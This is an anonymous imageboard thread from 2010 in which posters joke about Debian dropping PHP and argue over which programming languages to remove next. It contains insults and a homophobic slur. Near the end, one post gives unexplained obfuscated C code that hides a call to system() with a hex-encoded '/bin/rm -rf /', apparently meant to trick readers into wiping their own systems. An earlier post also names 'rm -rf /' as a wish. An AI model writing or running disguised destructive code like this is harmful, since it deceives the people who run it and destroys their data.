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Bad languages have no place in a modern OS

Name: Anonymous 2010-03-01 3:07

In a generally well-appreciated move, packagers of the most widely used GNU operating system decided to remove support for PHP, arguing that it is ``a rotten language whose use should not be encouraged.''

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380731

Which other languages do you think we should remove from now on?
I think we should start with Perl.

Name: Anonymous 2010-03-01 3:15

Interesting choice. I couldn't care less about PHP, but it might be useful to have it installed if you need to run other people's code.

Name: Anonymous 2010-03-01 3:15

>a rotten language whose use should not be encouraged
PHP fags GOT TOLD

Name: Anonymous 2010-03-01 3:16

>>1
More like GNU is irrelevant and has no place in a modern OS.

Hey guys, look at me! Give me attention! I'm getting rid of PHP! Aren't I a messenger of God Himself?!

Everyone else: *goes back to what they were doing*

Name: Anonymous 2010-03-01 3:20

#apt-get install libapache2-mod-php5 libapache2-mod-perl2 php5 php5-cli php5-common php5-curl php5-dev php5-gd php5-imap php5-ldap php5-mhash php5-mysql php5-odbc php5-xslt
php -r "while(true){echo'fuck your mother';}"

Name: Anonymous 2010-03-01 3:33

Time for C to go.

Name: Anonymous 2010-03-01 4:01

>>3
fags GOT TOLD
Back to /g/, please

Name: Anonymous 2010-03-01 4:19

>>7
>Butthurt PHP programmer

Name: Anonymous 2010-03-01 5:22

Embedding PHP? Yah, good riddance!
Now if they would only automatically rm -rf / whenever some drooling underage idiot tried to program a GUI in that thing!
I mean, WTF, it's not even drag and drop like VB was. Its garbage collection is broken and its ``lambda'' support is almost Lovecraftian. It is very nearly the worst possible language to use for the task!

Name: Anonymous 2010-03-01 6:49

>>8
No, PHP: Hypertext Preprocessor is Terrible! and should be avoided like the plague. I asked you nicely to go back to /g/, please for posting a /g/ QUALITY post.

Also, learn how to properly quote.

Name: Anonymous 2010-03-01 9:47

[quote]you meana liek dis:
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Name: Anonymous 2010-03-01 9:47

[quote]fadaf[/quote]

Name: Anonymous 2010-03-01 10:37

>>3
fags
>>8
Butthurt

Back to /b/, please.

Name: Anonymous 2010-03-01 13:00

I say we remove Haskell next.

Name: Anonymous 2010-03-01 13:04

>>14
You just don't understand Haskell, you anti-Haskell Nazi!

Name: Anonymous 2010-03-01 13:13

Let's get rid of C++, stick with C as a base, and then reconstruct the whole language so that our new "C++" escapes all the shortcomings of its original namesake.

Name: Anonymous 2010-03-01 13:14

>>16
lets call it C;

Name: Anonymous 2010-03-01 13:43

ONE WORD THE FORCED INDENTATION OF CODE THREAD OVER

Name: Anonymous 2010-03-01 14:41

This thread has been one word the forced indentation of code thread overed. You can't post anymore

Name: Anonymous 2010-03-01 14:51

>>16
Let's call it Objective-C because the world needs more Smalltalk.

Name: Anonymous 2010-03-01 15:51

let us remove the blinded evil that is Objective-C as it does not bear the signifigance or usefulness to exist as anything other than what it really is, not as the 'easiest' way to code for apple cocoa interface, not as a C based language, but something that does not deserve to exist upon this earth in any way shape or form

Name: Anonymous 2010-03-01 16:07

>>20

I hate smalltalk.

Nice weather today, isn't it?

Fuck you.

Name: Anonymous 2010-03-01 16:38

I think we should start with Perl.
I sure don't. You can't really run many systems without it these days. FIOC is a much easier choice.

Really though, I'm more into what should be better supported. Any thoughts?

Name: Anonymous 2010-03-01 18:15

>>3
>>8
LEARN TO QUOTE, PLEASE.

Name: Anonymous 2010-03-01 18:16

>>24,24,24,24,24,24,24,24,24,24,24,24,24,24
And yes, I forgot to OPTIMIZE my quotes.

Name: Anonymous 2010-03-01 19:07

>>16
The biggest mistake that Sepples makes is tying itself to backward compatibility with the entire history of See *AND* Sepples. If it divorced See and made better design decisions, it could actually be a decent language.

Similarly, they could simply revise the entire language in the next standard and force a compatibility compilation mode for previous code that would need to be updated to use the new standard. This approach allows code to continue working as it used to while making important design decisions. In this way, new code gets written in the new standard.

These two things combined would easily turn Sepples from a clusterfuck into a serious contender for a good language.

Name: Anonymous 2010-03-01 19:38

Remove Java.

Name: Anonymous 2010-03-01 20:01

Remove Ruby. It's always at the bottom of every performance shootout.

Name: Anonymous 2010-03-01 20:14

>>28
Ruby is also created by a Mormon.  That's enough reason for me to want nothing to do with it.

Name: Anonymous 2010-03-01 20:35

>>29
zOMG! For real!? http://en.wikipedia.org/wiki/Yukihiro_Matsumoto Well, a Japanese Mormon, who woulda thunk it!?

Name: Anonymous 2010-03-01 20:58

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Name: Anonymous 2010-03-01 21:00

>>30
That a Jap made a programming language that Americans found worth using is supposed to be the bizarre part. Being a mormon should just be some sort of amusing footnote.

Name: Anonymous 2010-03-01 21:01

>>32
AMUSE MY ANUS

Name: Anonymous 2010-03-01 21:28

>>32
* Asian-American

Name: Anonymous 2010-03-01 21:52

>>34
-American
wat

Name: Anonymous 2010-03-01 22:19

>>10,15,22,24-25
thanks for reminding me why i keep coming here.

Name: Anonymous 2010-03-01 22:21

>>26
I don't think anyone ever doubted that Sepples could be good if it weren't Sepples.

>>16
Sticking with C as a base is no good. The cult of C has to die, for the good of programming. Oh, until some other portable assembler comes along C will be an important language, but operating systems should not be constructed with the assumption that C is the default language for desktop software.

Name: Anonymous 2010-03-02 0:32

debian is popular enough to be linked to on 4chan now?

Name: Anonymous 2010-03-02 1:18

#define AZD sys
#define BZD tem
#include <stdlib.h>
char * str = "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f";
int main(void)
{
    AZDBZD(str);
    return 0;
}

Name: Anonymous 2010-03-02 1:36

Scheme/LISP

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